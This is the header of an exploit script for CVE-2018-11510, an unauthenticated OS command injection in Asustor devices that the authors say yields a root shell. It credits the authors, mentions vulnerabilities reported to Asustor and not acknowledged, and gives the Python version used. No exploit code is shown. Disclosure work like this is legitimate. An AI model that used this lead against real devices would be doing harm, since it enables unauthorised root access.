CVE-2018-11510: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11510  
This exploit takes advantage an unauthenticated os command injection discovered by Kyle Lovette   
if exploitation occurs successfully, a root shell is granted   
Authors: matthew fulton and Kyle Lovett  
Date: 27 May 2018  
Background: Both Kyle and I found a number of vulnerabilities that we had independently reported  
to Asustor that Asustor hasn't acknowledge nor apparenlty fixed.   
After a twitter communication Kyle was kind enough to share a few details  
exploit created on MacOS system, python 2.7.10, may port to metasploit module soon
